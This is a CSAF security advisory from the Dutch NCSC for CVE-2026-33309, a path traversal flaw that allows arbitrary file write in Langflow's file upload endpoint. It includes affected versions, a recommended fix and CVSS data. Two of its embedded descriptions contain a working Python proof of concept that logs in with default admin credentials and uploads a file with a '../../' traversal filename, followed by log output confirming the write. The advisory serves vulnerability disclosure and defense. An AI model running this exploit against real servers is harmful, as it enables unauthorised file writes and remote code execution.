{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33309",
        "tracking": {
            "current_release_date": "2026-03-29T16:14:23.583088Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33309",
            "initial_release_date": "2026-03-20T18:16:25.978049Z",
            "revision_history": [
                {
                    "date": "2026-03-20T18:16:25.978049Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:16:28.448788Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-20T18:32:55.755963Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Products created (1).| References created (3)."
                },
                {
                    "date": "2026-03-20T18:32:58.561049Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:48:59.635155Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-24T20:49:03.495118Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:49:51.393964Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-24T20:49:54.078410Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:54:13.046622Z",
                    "number": "9",
                    "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-24T20:54:26.216037Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:56:19.125674Z",
                    "number": "11",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-25T21:50:29.595228Z",
                    "number": "12",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-25T21:50:32.022941Z",
                    "number": "13",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T00:38:35.131659Z",
                    "number": "14",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (38).| Product Identifiers created (38).| Products created (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-26T00:50:37.485645Z",
                    "number": "15",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-26T00:50:39.880335Z",
                    "number": "16",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-29T03:16:13.506825Z",
                    "number": "17",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-29T03:16:18.324022Z",
                    "number": "18",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-29T16:14:19.828954Z",
                    "number": "19",
                    "summary": "References created (1)."
                }
            ],
            "status": "interim",
            "version": "19"
        }
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    "vulnerabilities": [
        {
            "cve": "CVE-2026-33309",
            "cwe": {
                "id": "CWE-22",
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\n\nWhile reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency.\n\nThis defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in two layers:\n\n1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters.\n2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check.\n\n**Recommended Fix:**\n\n1. Sanitize the multipart filename before processing:\n\n```python\nfrom pathlib import Path as StdPath\nnew_filename = StdPath(file.filename or \"\").name # Strips directory traversal characters\nif not new_filename or \"..\" in new_filename:\n    raise HTTPException(status_code=400, detail=\"Invalid file name\")\n\n```\n\n2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class.\n\n### PoC\nThis Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user's UUID storage directory.\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:7860\"\n# Authenticate to get a valid JWT\ntoken = requests.post(f\"{BASE_URL}/api/v1/login\", data={\"username\": \"admin\", \"password\": \"admin\"}).json()[\"access_token\"]\n\n# Payload using directory traversal in the multipart filename\nTRAVERSAL_FILENAME = \"../../traversal_proof.txt\"\nSENTINEL_CONTENT = b\"CVE_RESEARCH_SENTINEL_KEY\"\n\nresp = requests.post(\n    f\"{BASE_URL}/api/v2/files/\",\n    headers={\"Authorization\": f\"Bearer {token}\"},\n    files={\"file\": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, \"text/plain\")},\n)\n\nprint(f\"Status: {resp.status_code}\") # Returns 201\n# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`\n\n```\n\nServer Logs:\n```\n2026-02-19T10:04:54.031888Z [info     ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n2026-02-19T10:05:51.792520Z [info     ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n```\nDocker cntainer file:\n```\nuser@40416f6848f2:~/.cache/langflow$ ls\n3668bcce-db6c-4f58-834c-f49ba0024fcb  profile_pictures\tsecret_key  traversal_proof.txt\n```\n\n### Impact\nAuthenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.",
                    "title": "github - https://api.github.com/advisories/GHSA-g2j9-7rj2-gm6c"
                },
                {
                    "category": "description",
                    "text": "Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33309.json"
                },
                {
                    "category": "description",
                    "text": "Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33309"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nWhile reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency.\n\nThis defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in two layers:\n\n1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters.\n2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check.\n\n**Recommended Fix:**\n\n1. Sanitize the multipart filename before processing:\n\n```python\nfrom pathlib import Path as StdPath\nnew_filename = StdPath(file.filename or \"\").name # Strips directory traversal characters\nif not new_filename or \"..\" in new_filename:\n    raise HTTPException(status_code=400, detail=\"Invalid file name\")\n\n```\n\n2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class.\n\n### PoC\nThis Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user's UUID storage directory.\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:7860\"\n# Authenticate to get a valid JWT\ntoken = requests.post(f\"{BASE_URL}/api/v1/login\", data={\"username\": \"admin\", \"password\": \"admin\"}).json()[\"access_token\"]\n\n# Payload using directory traversal in the multipart filename\nTRAVERSAL_FILENAME = \"../../traversal_proof.txt\"\nSENTINEL_CONTENT = b\"CVE_RESEARCH_SENTINEL_KEY\"\n\nresp = requests.post(\n    f\"{BASE_URL}/api/v2/files/\",\n    headers={\"Authorization\": f\"Bearer {token}\"},\n    files={\"file\": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, \"text/plain\")},\n)\n\nprint(f\"Status: {resp.status_code}\") # Returns 201\n# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`\n\n```\n\nServer Logs:\n```\n2026-02-19T10:04:54.031888Z [info     ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n2026-02-19T10:05:51.792520Z [info     ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n```\nDocker cntainer file:\n```\nuser@40416f6848f2:~/.cache/langflow$ ls\n3668bcce-db6c-4f58-834c-f49ba0024fcb  profile_pictures\tsecret_key  traversal_proof.txt\n```\n\n### Impact\nAuthenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-g2j9-7rj2-gm6c.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00067",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "4.5",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is product data available from source Certbundde, Is related to CWE-73 (External Control of File Name or Path)",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, The value of the most recent EPSS score, Is related to (a version of) an uncommon product",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5875108",
                    "CSAFPID-5902392",
                    "CSAFPID-5902825",
                    "CSAFPID-3739209",
                    "CSAFPID-3739210",
                    "CSAFPID-3739211",
                    "CSAFPID-3739212",
                    "CSAFPID-3739213",
                    "CSAFPID-3739214",
                    "CSAFPID-3739215",
                    "CSAFPID-3739216",
                    "CSAFPID-3739217",
                    "CSAFPID-3739218",
                    "CSAFPID-4818258",
                    "CSAFPID-4818259",
                    "CSAFPID-5281259",
                    "CSAFPID-5288776",
                    "CSAFPID-5288777",
                    "CSAFPID-5288778",
                    "CSAFPID-5288779",
                    "CSAFPID-5288780",
                    "CSAFPID-5288781",
                    "CSAFPID-5288782",
                    "CSAFPID-5288783",
                    "CSAFPID-5288784",
                    "CSAFPID-5288785",
                    "CSAFPID-5288786",
                    "CSAFPID-5288787",
                    "CSAFPID-5446094",
                    "CSAFPID-5667815",
                    "CSAFPID-5667816",
                    "CSAFPID-5737696",
                    "CSAFPID-5737697",
                    "CSAFPID-5737698",
                    "CSAFPID-5907976",
                    "CSAFPID-5907977",
                    "CSAFPID-5907978",
                    "CSAFPID-5907979",
                    "CSAFPID-5907980",
                    "CSAFPID-5907981",
                    "CSAFPID-5912907"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-g2j9-7rj2-gm6c"
                },
                {
                    "category": "external",
                    "summary": "Source - certbundde",
                    "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-0804.json"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33309.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33309"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-g2j9-7rj2-gm6c.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde; github",
                    "url": "https://github.com/advisories/GHSA-g2j9-7rj2-gm6c"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-0804.json"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0804"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33309"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
                        "baseScore": 9.9,
                        "baseSeverity": "CRITICAL"
                    },
                    "products": [
                        "CSAFPID-3739209",
                        "CSAFPID-3739210",
                        "CSAFPID-3739211",
                        "CSAFPID-3739212",
                        "CSAFPID-3739213",
                        "CSAFPID-3739214",
                        "CSAFPID-3739215",
                        "CSAFPID-3739216",
                        "CSAFPID-3739217",
                        "CSAFPID-3739218",
                        "CSAFPID-4818258",
                        "CSAFPID-4818259",
                        "CSAFPID-5281259",
                        "CSAFPID-5288776",
                        "CSAFPID-5288777",
                        "CSAFPID-5288778",
                        "CSAFPID-5288779",
                        "CSAFPID-5288780",
                        "CSAFPID-5288781",
                        "CSAFPID-5288782",
                        "CSAFPID-5288783",
                        "CSAFPID-5288784",
                        "CSAFPID-5288785",
                        "CSAFPID-5288786",
                        "CSAFPID-5288787",
                        "CSAFPID-5446094",
                        "CSAFPID-5667815",
                        "CSAFPID-5667816",
                        "CSAFPID-5737696",
                        "CSAFPID-5737697",
                        "CSAFPID-5737698",
                        "CSAFPID-5875108",
                        "CSAFPID-5902392",
                        "CSAFPID-5902825",
                        "CSAFPID-5907976",
                        "CSAFPID-5907977",
                        "CSAFPID-5907978",
                        "CSAFPID-5907979",
                        "CSAFPID-5907980",
                        "CSAFPID-5907981",
                        "CSAFPID-5912907"
                    ]
                }
            ],
            "title": "CVE-2026-33309"
        }
    ]
}